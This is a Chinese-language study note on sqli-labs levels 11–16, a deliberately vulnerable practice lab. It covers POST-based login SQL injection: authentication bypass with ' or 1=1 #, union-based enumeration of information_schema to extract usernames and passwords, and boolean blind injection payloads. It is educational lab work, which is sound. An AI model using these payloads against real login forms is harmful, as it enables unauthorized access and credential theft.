less11-16

less 11

这关让我们输入账号密码,而不是简单的?id=1,所以直接夹断.

QQ截图20211106114439.png

代理抓包发现题与以往不同

以往采用的是get方法,而这里是post方法,以至于我们在submit之无法看到输入的usename和password

但是本质上还是之前的报错注入,不过是基于post的提交方式

QQ截图20211106115325.png

利用抓包得到的信息可知上传的data为:uname=&passwd=&submit=%E6%8F%90%E4%BA%A4

所以基于此,进行报错注入

首先我们不知道账号密码,利用注释符和 or 1=1使其为真

uname=n‘ or 1=1 #&passwd=&submit=%E6%8F%90%E4%BA%A4

这样无论账号存不存在都可以登入(猜的)

事实也是这样,这里返回了账号密码和我们输入的不一样,但是我们知道我们成功登入了,注释符以前的內容是可执行的这样接下来就是类似less1的内容

order by n 查看列数

union select 1,2,。。n查看回显

按照回显来嵌套

select database();

select schema_name from information_schema.schemata;

select table_name from information_schema.tables where table_schema=’A’;

select column_name from information_schema.column where table_name=’B’;

select username,password from where A.B;

利用group_concat()和concat_ws()来简便操作

QQ截图20211107111426.png

less 12

同理同法,不过是把单引号改为双引号单括号。

测试注入可以依次测试’ , ‘) , ‘)) , “ , “) , “))六种

less13

同样操作

post data:uname=1’) or 1=1#&passwd=1&submit=Submit

这次没有报错,但也没有回显

属于布尔盲注

post data:uname=1’) or length(database()>1#&passwd=1&submit=Submit来判断数据库名长度

post data:uname=1’) or left((select schema_name from information_schema.schemata limit 0,1),1)=’a’#&passwd=1&submit=Submit来判断列名

PS:or左右两边其中一边为真都为真,已知左为假,所以只有有报错则右边为假就会报错,所以利用此来破解库名,表名,列名。

利用工具进行爆破详见less5,6总结

13 (‘’)

14 “”

15 ‘’

16 (“”)

less13,14,15,16同样的方法只是对数据的包裹方式不同。